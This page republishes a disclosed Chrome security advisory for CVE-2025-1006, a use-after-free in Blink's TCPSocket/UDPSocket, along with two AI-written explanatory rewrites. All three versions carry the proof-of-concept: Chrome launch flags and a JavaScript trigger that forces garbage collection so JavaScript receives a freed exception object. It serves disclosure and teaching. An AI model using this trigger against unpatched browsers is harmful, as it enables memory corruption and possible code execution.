Skip to content
Memory corruption Advisory Advanced CVE-2025-1006

Use after free in Network (CVE-2025-1006)

A use-after-free flaw in Chrome's TCPSocket/UDPSocket implementation allows a V8 exception object to be freed prematurely, and then used to reject the socket's closed promise, potentially leading to memory corruption. An attacker could exploit this to crash the browser or possibly execute arbitrary code.

Tal Keren Follow

Originally disclosed on Chrome VRP

Bounty$4,000 Medium View original
  • Fix shipped in 32 days

VULNERABILITY DETAILS

The vulnerability is triggered when using TCPSocket/UDPSocket, which are available via the DirectSocket api for Isolated Web Apps.
The issue lays within the usage of base::BarrierCallback<ScriptValue> by blink::TCPSocket/blink::UDPSocket:

  auto close_callback = base::BarrierCallback<ScriptValue>(
      /*num_callbacks=*/2,
      WTF::BindOnce(&TCPSocket::OnBothStreamsClosed, WrapWeakPersistent(this)));

The sockets expect the BarrierCallback to be called twice - once for the reader stream, and another time for the writer.
When network communication errors occur, the streams are supposed to invoke the callback with a V8 exception object:

  auto exception = ScriptValue(
      script_state->GetIsolate(),
      V8ThrowDOMException::CreateOrDie(script_state->GetIsolate(),
                                       DOMExceptionCode::kNetworkError,
                                       String{"Stream aborted by the remote: " +
                                              net::ErrorToString(error_code)}));
  // …
  Controller()->error(script_state, exception);
  std::move(on_close_).Run(exception);

Once both of the streams are closed, the earliest observer error is used to reject the sockets’ |closed| promise:

void TCPSocket::OnBothStreamsClosed(std::vector<ScriptValue> args) {
  // …
  // Finds first actual exception and rejects |closed| with it.
  // If neither stream was errored, resolves |closed|.
  if (auto it = base::ranges::find_if_not(args, &ScriptValue::IsEmpty);
      it != args.end()) {
    GetClosedProperty().Reject(*it);

The issue is that after the first stream is closed with an exception, the V8 exception is stored inside an untraceable base::BarrierCallback, allowing for the exception to be freed upon the first garbage collection after the first stream closure.
Once the second stream is closed, the sockets’ |closed| promise are rejected with the now free exception object (by TCPSocket::OnBothStreamsClosed).

VERSION

Chrome Version: 132.0.6834.84
Operating System: ChromeOS (and with flag for Windows and Mac too)

REPRODUCTION CASE

See the attached signed isolated web app (pwa-iwa.swbn).
Isolated web apps distribution is available via the admin console on ChromeOS devices. This issue can be reproduced on any OS by enabling the Isolated Web App feature, then installing and running the attached IWA.
Make sure you expose GC for v8 for the POC to work out of the box (--js-flags=--expose-gc)

Full steps to run the POC:

  1. python3 server.py
  2. cd iwa
  3. npm install
  4. npm run start
  5. start chrome.exe --js-flags="--expose-gc" --enable-features=IsolatedWebApps,IsolatedWebAppDevMode --install-isolated-web-app-from-url=http://localhost:4321
  6. navigate to chrome://apps
  7. Open pwn-ipa

The core of the reproduction:

(async () => {
  const socket = new TCPSocket("127.0.0.1", 8080);
  const socketInfo = await socket.opened;
  const reader = socketInfo.readable.getReader();
  const writer = socketInfo.writable.getWriter();
  reader.closed.catch((e) => {
    console.info("trigger");
    gc();
    writer.close();
  });
  socket.closed.catch((e) => {
    console.info("got object  ", e);
  });
})();

The flow of the reproduction are:
  1. Connect to the server
  2. Cause a network error (RST sent by the server), closing the reader stream with an exception.
  3. Once the reader stream is closed, trigger a Garbage Collection event.
  4. Close the writer stream from JS to expose the UAF v8 exception to JavaScript.

Type of crash: tab
Crash State: See asan.txt

The proposed fix is attached as patch.txt

CREDIT INFORMATION

Reporter credit: Tal Keren, Sam Agranat, Eran Rom, Edouard Bochin, Adam Hatsir of Palo Alto Networks.

The original report as published on the Chromium issue tracker, by Tal Keren, Sam Agranat, Eran Rom, Edouard Bochin, Adam Hatsir of Palo Alto Networks. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

This is a use after free (UAF) in Chrome's Network component, tracked as CVE-2025-1006 and rated medium severity. The bug lives in the Blink socket implementation, specifically blink::TCPSocket and blink::UDPSocket. These sockets are reachable through the DirectSocket API, which is available to Isolated Web Apps (IWAs).

An IWA is a packaged web application that is installed and distributed through the admin console on ChromeOS devices, and it can be enabled on other platforms with a feature flag. The DirectSocket API gives such an app raw TCP and UDP socket access, which ordinary web pages do not have. The sockets expose a closed promise that rejects with the earliest error observed on either the readable or the writable stream.

The report was filed through the Chrome VRP by Tal Keren, Sam Agranat, Eran Rom, Edouard Bochin and Adam Hatsir of Palo Alto Networks, and disclosed on 2025-02-18 with a bounty of 4000.00 USD.

Setup

The issue was reproduced on Chrome 132.0.6834.84. The primary platform was ChromeOS, and the report notes it also reproduces on Windows and Mac with the relevant flag enabled.

Preconditions:

  1. The Isolated Web App feature must be enabled. On ChromeOS, IWA distribution is available through the admin console.
  2. The attached signed isolated web app (pwa-iwa.swbn) must be installed and run.
  3. V8 garbage collection must be exposed to JavaScript, so the proof of concept works out of the box with --js-flags=--expose-gc.

Finding it

The researcher focused on how blink::TCPSocket and blink::UDPSocket use base::BarrierCallback<ScriptValue>. The socket creates a barrier callback that expects to be called exactly twice, once by the reader stream and once by the writer stream:

  auto close_callback = base::BarrierCallback<ScriptValue>(
      /*num_callbacks=*/2,
      WTF::BindOnce(&TCPSocket::OnBothStreamsClosed, WrapWeakPersistent(this)));

When a network communication error occurs, each stream is supposed to invoke that callback with a V8 exception object:

  auto exception = ScriptValue(
      script_state->GetIsolate(),
      V8ThrowDOMException::CreateOrDie(script_state->GetIsolate(),
                                       DOMExceptionCode::kNetworkError,
                                       String{"Stream aborted by the remote: " +
                                              net::ErrorToString(error_code)}));
  // …
  Controller()->error(script_state, exception);
  std::move(on_close_).Run(exception);

Once both streams are closed, TCPSocket::OnBothStreamsClosed picks the first non-empty exception from the collected arguments and rejects the socket's closed promise with it:

void TCPSocket::OnBothStreamsClosed(std::vector<ScriptValue> args) {
  // …
  // Finds first actual exception and rejects |closed| with it.
  // If neither stream was errored, resolves |closed|.
  if (auto it = base::ranges::find_if_not(args, &ScriptValue::IsEmpty);
      it != args.end()) {
    GetClosedProperty().Reject(*it);

The flaw the researcher identified is that the V8 exception handed to the barrier callback is stored inside an untraceable base::BarrierCallback. Because the callback is not traced by the garbage collector, the stored exception is not kept alive. After the first stream closes with an exception, the next garbage collection can free that exception object while the barrier callback still holds a reference to it. When the second stream then closes, TCPSocket::OnBothStreamsClosed rejects the closed promise with the now-freed exception object, producing the use after free.

Exploitation

Step 1: Start the local server and build the IWA

The proof of concept ships with a server and an IWA project. The full sequence from the report:

  1. python3 server.py
  2. cd iwa
  3. npm install
  4. npm run start
  5. start chrome.exe --js-flags="--expose-gc" --enable-features=IsolatedWebApps,IsolatedWebAppDevMode --install-isolated-web-app-from-url=http://localhost:4321
  6. navigate to chrome://apps
  7. Open pwn-ipa

The Chrome launch enables the Isolated Web App features, installs the app from the local dev server, and exposes gc() to JavaScript so the proof of concept can force collection at the right moment.

Step 2: Run the core reproduction

The heart of the proof of concept is this script:

(async () => {
  const socket = new TCPSocket("[redacted]", 8080);
  const socketInfo = await socket.opened;
  const reader = socketInfo.readable.getReader();
  const writer = socketInfo.writable.getWriter();
  reader.closed.catch((e) => {
    console.info("trigger");
    gc();
    writer.close();
  });
  socket.closed.catch((e) => {
    console.info("got object  ", e);
  });
})();

The script opens a TCPSocket to [redacted]:8080, waits for opened, then takes a reader from the readable stream and a writer from the writable stream. It attaches a handler to reader.closed that logs trigger, forces a garbage collection with gc(), and then closes the writer. It also attaches a handler to socket.closed that logs the object it receives.

Step 3: Follow the trigger flow

The report describes the flow as:

  1. Connect to the server.
  2. Cause a network error (RST sent by the server), closing the reader stream with an exception.
  3. Once the reader stream is closed, trigger a garbage collection event.
  4. Close the writer stream from JavaScript to expose the UAF V8 exception to JavaScript.

The flow causes a network error (RST sent by the server), closing the reader stream with an exception. That exception is stored in the barrier callback, which is not traced, so the gc() call frees it. Closing the writer then completes the second half of the barrier, and OnBothStreamsClosed rejects socket.closed with the freed exception, which is what the socket.closed handler logs.

The crash type is a tab crash. The crash state is in asan.txt, which is referenced but not reproduced here.

Root cause

The barrier callback created with base::BarrierCallback<ScriptValue> holds V8 exception objects (ScriptValue) but is not traced by the garbage collector. A ScriptValue wrapping a V8 exception must be kept alive by a traced handle for as long as it is referenced. Because the barrier callback is untraceable, the exception stored after the first stream closes can be collected on the next GC while the callback still points at it. When the second stream closes, the callback passes that dangling reference to OnBothStreamsClosed, which rejects the closed promise with it, giving JavaScript access to a freed V8 object.

Impact

The report rates this as a medium-severity use after free. The immediate effect is a tab crash. Reaching the bug requires an Isolated Web App, which on ChromeOS is distributed through the admin console and on other platforms requires the IWA feature to be enabled.

Fix

The report states that a proposed fix is attached as patch.txt. The contents of that patch are not included in the text, so the specific change is not described here.

Variants to test

  1. Other Blink APIs that store ScriptValue or other V8 objects inside untraceable callbacks. A positive result is a GC between two callback invocations that leaves a dangling reference reachable from JavaScript.
  2. Other uses of base::BarrierCallback with a count greater than one where the arguments are V8 objects. A positive result is the same pattern: an object stored after the first callback is freed before the last callback runs.
  3. The UDP counterpart, blink::UDPSocket, which the report names alongside TCPSocket. A positive result is the same UAF when a stream is closed with an error, GC runs, and the remaining stream is closed.
  4. Any promise rejection path that forwards a stored exception to JavaScript after an asynchronous gap. A positive result is a rejection carrying an object that was collected in the meantime.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

Chrome has a feature that lets certain installed web apps open raw network connections, the kind of connections normally reserved for desktop programs. One of the pieces of code that handles these connections had a memory management mistake. When a connection failed in a particular way, Chrome kept a reference to an error object but did not tell its memory cleaner (the garbage collector) that the object was still in use. The cleaner then threw the object away, and a moment later Chrome handed that thrown-away object back to the web page's JavaScript. Using something after it has been freed is a classic bug class called a use after free, and it can crash the browser tab.

The bug was reported through Google's Chrome Vulnerability Reward Program (VRP), a scheme where outside researchers report security bugs and receive money for them. The reporters were Tal Keren, Sam Agranat, Eran Rom, Edouard Bochin and Adam Hatsir of Palo Alto Networks. The report was disclosed on 2025-02-18, the severity was rated medium, and the bounty was 4000.00 USD. The bug is tracked as CVE-2025-1006. A CVE is a public catalogue number given to a known security flaw so people can refer to it unambiguously.

Context

The product and the feature

Chrome is a web browser. Inside it, the part that runs web pages and their JavaScript is called Blink (the rendering engine) and V8 (the JavaScript engine). JavaScript is the programming language web pages use to make things happen.

An API (Application Programming Interface) is a defined set of commands a program offers to other programs. Think of it as a restaurant menu: you can only order what is on the menu, and the kitchen decides how each dish is made. The DirectSocket API is a menu entry that lets a program open raw TCP and UDP sockets. A socket is one end of a network conversation, like a telephone handset: you dial an address and port, and data flows back and forth. TCP and UDP are two common ways of sending data over a network; TCP guarantees delivery and order, UDP is lighter and does not.

Ordinary web pages are deliberately not allowed to open raw sockets, because that would be dangerous. Instead, Chrome offers this ability only to Isolated Web Apps (IWAs). An IWA is a packaged web application that is installed on the machine rather than loaded from a website. On ChromeOS devices it is distributed through the admin console, and on other platforms it can be switched on with a feature flag (a hidden on/off switch for an experimental feature).

The sockets expose a closed promise. A promise is JavaScript's way of representing a result that will arrive later, like a receipt you get when you order something: it either resolves (success) or rejects (failure). The socket's closed promise rejects with the earliest error seen on either of its two streams. A stream is a flow of data in one direction; a socket has a readable stream (data coming in) and a writable stream (data going out).

The bug in one sentence

The bug lives in the Blink socket implementation, specifically blink::TCPSocket and blink::UDPSocket, and it is a use after free (UAF). A UAF means a program keeps using a piece of memory after it has been released back to the system, like reading a letter after shredding it: the paper may still look like a letter, but it is no longer yours and may have been overwritten.

Setup

The issue was reproduced on Chrome 132.0.6834.84. The primary platform was ChromeOS, and the report notes it also reproduces on Windows and Mac with the relevant flag enabled.

Before you can try this, three things must be true:

  1. The Isolated Web App feature must be enabled. On ChromeOS, IWA distribution is available through the admin console.
  2. The attached signed isolated web app (pwa-iwa.swbn) must be installed and run. A signed app is one whose package carries a cryptographic proof of who built it, so the browser can verify it has not been tampered with.
  3. V8 garbage collection must be exposed to JavaScript, so the proof of concept works out of the box with --js-flags=--expose-gc. The garbage collector is the part of the engine that automatically frees memory no longer in use. Normally JavaScript cannot ask for it to run; this flag adds a gc() function so the proof of concept can force it at the exact moment needed.

Finding it

The researcher focused on how blink::TCPSocket and blink::UDPSocket use base::BarrierCallback<ScriptValue>. A callback is a function you hand to someone else and say "call this when the thing happens". A barrier callback is a special callback that waits until it has been called a set number of times before running its final action, like a group of friends agreeing to set off only once everyone has arrived.

Here the socket creates a barrier callback that expects to be called exactly twice, once by the reader stream and once by the writer stream:

  auto close_callback = base::BarrierCallback<ScriptValue>(
      /*num_callbacks=*/2,
      WTF::BindOnce(&TCPSocket::OnBothStreamsClosed, WrapWeakPersistent(this)));

Line by line:

  • auto close_callback = ... creates a variable named close_callback to hold the barrier callback.
  • base::BarrierCallback<ScriptValue>( builds a barrier callback whose collected arguments are of type ScriptValue. A ScriptValue is a wrapper around a JavaScript value held by the V8 engine.
  • /*num_callbacks=*/2, is the count: the barrier opens only after two calls.
  • WTF::BindOnce(&TCPSocket::OnBothStreamsClosed, ...) says which function to run once the barrier opens: TCPSocket::OnBothStreamsClosed, the socket's "both streams are now closed" handler. BindOnce means it runs a single time.
  • WrapWeakPersistent(this) passes a weak reference to the socket object itself, so the callback does not keep the socket alive on its own.

When a network communication error occurs, each stream is supposed to invoke that callback with a V8 exception object. An exception is JavaScript's representation of an error:

  auto exception = ScriptValue(
      script_state->GetIsolate(),
      V8ThrowDOMException::CreateOrDie(script_state->GetIsolate(),
                                       DOMExceptionCode::kNetworkError,
                                       String{"Stream aborted by the remote: " +
                                              net::ErrorToString(error_code)}));
  // …
  Controller()->error(script_state, exception);
  std::move(on_close_).Run(exception);

Line by line:

  • auto exception = ScriptValue( starts building a JavaScript value to hold the error.
  • script_state->GetIsolate(), fetches the V8 isolate, which is the isolated JavaScript engine instance that belongs to this page. Each page gets its own, so one page's objects cannot leak into another's.
  • V8ThrowDOMException::CreateOrDie(...) creates a DOMException, the standard browser error type. CreateOrDie means if creation fails, the program aborts rather than continuing in a bad state.
  • DOMExceptionCode::kNetworkError, sets the error kind to a network error.
  • String{"Stream aborted by the remote: " + net::ErrorToString(error_code)} builds the human-readable message, appending the network error code translated to text.
  • Controller()->error(script_state, exception); reports the error to the stream's controller, the internal object that manages the stream.
  • std::move(on_close_).Run(exception); calls the barrier callback with the exception. std::move hands over ownership of the callback rather than copying it.

Once both streams are closed, TCPSocket::OnBothStreamsClosed picks the first non-empty exception from the collected arguments and rejects the socket's closed promise with it:

void TCPSocket::OnBothStreamsClosed(std::vector<ScriptValue> args) {
  // …
  // Finds first actual exception and rejects |closed| with it.
  // If neither stream was errored, resolves |closed|.
  if (auto it = base::ranges::find_if_not(args, &ScriptValue::IsEmpty);
      it != args.end()) {
    GetClosedProperty().Reject(*it);

Line by line:

  • void TCPSocket::OnBothStreamsClosed(std::vector<ScriptValue> args) { declares the handler. It receives args, a list of the values the two streams passed in.
  • The comments explain the intent: find the first real exception and reject closed with it; if neither stream errored, resolve closed instead.
  • if (auto it = base::ranges::find_if_not(args, &ScriptValue::IsEmpty); searches the list for the first entry that is not empty, i.e. an actual error.
  • it != args.end()) { checks that such an entry was found.
  • GetClosedProperty().Reject(*it); rejects the socket's closed promise using that exception. *it is the exception itself.

The flaw the researcher identified is that the V8 exception handed to the barrier callback is stored inside an untraceable base::BarrierCallback. "Untraceable" here means the garbage collector does not know the callback is holding a JavaScript object, so it does not keep that object alive. After the first stream closes with an exception, the next garbage collection can free that exception object while the barrier callback still holds a reference to it. When the second stream then closes, TCPSocket::OnBothStreamsClosed rejects the closed promise with the now-freed exception object, producing the use after free.

Exploitation

Step 1: Start the local server and build the IWA

The proof of concept ships with a server and an IWA project. The full sequence from the report:

  1. python3 server.py
  2. cd iwa
  3. npm install
  4. npm run start
  5. start chrome.exe --js-flags="--expose-gc" --enable-features=IsolatedWebApps,IsolatedWebAppDevMode --install-isolated-web-app-from-url=http://localhost:4321
  6. navigate to chrome://apps
  7. Open pwn-ipa

What each step is for:

  1. python3 server.py runs a small local server written in Python. It is the other end of the socket conversation.
  2. cd iwa moves the terminal into the folder holding the web app project.
  3. npm install downloads the libraries the project depends on. npm is the standard package manager for JavaScript projects.
  4. npm run start starts the app project.
  5. The Chrome launch line does several jobs at once. --js-flags="--expose-gc" exposes gc() to JavaScript. --enable-features=IsolatedWebApps,IsolatedWebAppDevMode switches on the IWA feature and its developer mode. --install-isolated-web-app-from-url=http://localhost:4321 installs the app straight from the local dev server.
  6. chrome://apps is Chrome's page listing installed apps.
  7. Opening pwn-ipa launches the proof of concept app.

Step 2: Run the core reproduction

The heart of the proof of concept is this script:

(async () => {
  const socket = new TCPSocket("[redacted]", 8080);
  const socketInfo = await socket.opened;
  const reader = socketInfo.readable.getReader();
  const writer = socketInfo.writable.getWriter();
  reader.closed.catch((e) => {
    console.info("trigger");
    gc();
    writer.close();
  });
  socket.closed.catch((e) => {
    console.info("got object  ", e);
  });
})();

Line by line:

  • (async () => { starts an async function, one that can pause and wait for slow things without freezing the page.
  • const socket = new TCPSocket("[redacted]", 8080); creates a TCP socket aimed at [redacted] (the local machine) on port 8080, where the Python server is listening.
  • const socketInfo = await socket.opened; waits until the connection is established. await pauses the function until the promise settles.
  • const reader = socketInfo.readable.getReader(); takes a reader from the readable stream, the incoming direction.
  • const writer = socketInfo.writable.getWriter(); takes a writer from the writable stream, the outgoing direction.
  • reader.closed.catch((e) => { registers what to do if the reader stream closes with an error.
  • console.info("trigger"); prints a marker so you can see in the console that this branch ran.
  • gc(); forces the garbage collector to run right now. This is the crucial line: it is what frees the stored exception.
  • writer.close(); closes the writer stream, which completes the second half of the barrier.
  • socket.closed.catch((e) => { registers what to do when the socket's closed promise rejects.
  • console.info("got object ", e); prints the object it received, which is the freed exception.
  • })(); closes and immediately invokes the function.

Step 3: Follow the trigger flow

The report describes the flow as:

  1. Connect to the server.
  2. Cause a network error (RST sent by the server), closing the reader stream with an exception.
  3. Once the reader stream is closed, trigger a garbage collection event.
  4. Close the writer stream from JavaScript to expose the UAF V8 exception to JavaScript.

An RST is a TCP reset packet. TCP conversations end politely with a handshake; an RST is the network equivalent of slamming the phone down, telling the other side the connection is gone immediately. The flow causes a network error (RST sent by the server), closing the reader stream with an exception. That exception is stored in the barrier callback, which is not traced, so the gc() call frees it. Closing the writer then completes the second half of the barrier, and OnBothStreamsClosed rejects socket.closed with the freed exception, which is what the socket.closed handler logs.

The crash type is a tab crash: the browser tab running the app goes down. The crash state is in asan.txt, which is referenced but not reproduced here. ASan (AddressSanitizer) is a debugging tool that detects memory errors such as use after free.

Root cause

The barrier callback created with base::BarrierCallback<ScriptValue> holds V8 exception objects (ScriptValue) but is not traced by the garbage collector. A ScriptValue wrapping a V8 exception must be kept alive by a traced handle for as long as it is referenced. A handle is the engine's record of "this object is still in use, do not free it". Because the barrier callback is untraceable, the exception stored after the first stream closes can be collected on the next GC while the callback still points at it. When the second stream closes, the callback passes that dangling reference to OnBothStreamsClosed, which rejects the closed promise with it, giving JavaScript access to a freed V8 object.

Impact

The report rates this as a medium-severity use after free. Severity ratings are a rough guide to how bad a bug is and how hard it is to reach. The immediate effect is a tab crash. Reaching the bug requires an Isolated Web App, which on ChromeOS is distributed through the admin console and on other platforms requires the IWA feature to be enabled. Attack surface means the set of ways an attacker could possibly reach the vulnerable code.

Fix

The report states that a proposed fix is attached as patch.txt. The contents of that patch are not included in the text, so the specific change is not described here.

Variants to test

A variant is a nearby version of the same mistake. If one place got this wrong, other places may have too. Each item below names a place to look and what a positive result would look like.

  1. Other Blink APIs that store ScriptValue or other V8 objects inside untraceable callbacks. A positive result is a GC between two callback invocations that leaves a dangling reference reachable from JavaScript.
  2. Other uses of base::BarrierCallback with a count greater than one where the arguments are V8 objects. A positive result is the same pattern: an object stored after the first callback is freed before the last callback runs.
  3. The UDP counterpart, blink::UDPSocket, which the report names alongside TCPSocket. A positive result is the same UAF when a stream is closed with an error, GC runs, and the remaining stream is closed.
  4. Any promise rejection path that forwards a stored exception to JavaScript after an asynchronous gap. A positive result is a rejection carrying an object that was collected in the meantime. An asynchronous gap is a pause between two steps during which other things, including the garbage collector, can run.

Glossary

  • API: a defined set of commands one program offers to another, like a menu you can order from.
  • ASan (AddressSanitizer): a debugging tool that detects memory errors such as use after free.
  • Attack surface: the set of ways an attacker could possibly reach vulnerable code.
  • Barrier callback: a callback that waits until it has been called a set number of times before running its final action.
  • Blink: Chrome's rendering engine, the part that runs web pages.
  • Callback: a function you hand to another piece of code to be called later when something happens.
  • Chrome VRP: Google's Chrome Vulnerability Reward Program, which pays researchers for security bugs.
  • CVE: a public catalogue number for a known security flaw.
  • DOMException: the standard browser error type used by web APIs.
  • DirectSocket API: a Chrome API that gives Isolated Web Apps raw TCP and UDP socket access.
  • Feature flag: a hidden on/off switch for an experimental browser feature.
  • Garbage collector: the part of an engine that automatically frees memory no longer in use.
  • Handle: the engine's record that an object is still in use and must not be freed.
  • Isolated Web App (IWA): a packaged web application installed on the machine rather than loaded from a website.
  • Isolate: an isolated JavaScript engine instance belonging to one page.
  • JavaScript: the programming language web pages use.
  • npm: the standard package manager for JavaScript projects.
  • Promise: JavaScript's representation of a result that will arrive later; it resolves on success or rejects on failure.
  • Proof of concept (POC): a small program that demonstrates a bug actually happens.
  • RST: a TCP reset packet that abruptly ends a connection.
  • ScriptValue: a wrapper around a JavaScript value held by V8.
  • Severity: a rating of how bad a bug is and how hard it is to reach.
  • Socket: one end of a network conversation, identified by an address and a port.
  • Stream: a flow of data in one direction; a socket has a readable and a writable stream.
  • TCP: a network protocol that guarantees delivery and order of data.
  • UDP: a lighter network protocol that does not guarantee delivery or order.
  • Use after free (UAF): using memory after it has been released, like reading a letter after shredding it.
  • V8: Chrome's JavaScript engine.
  • Variant: a nearby version of the same mistake in other code.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.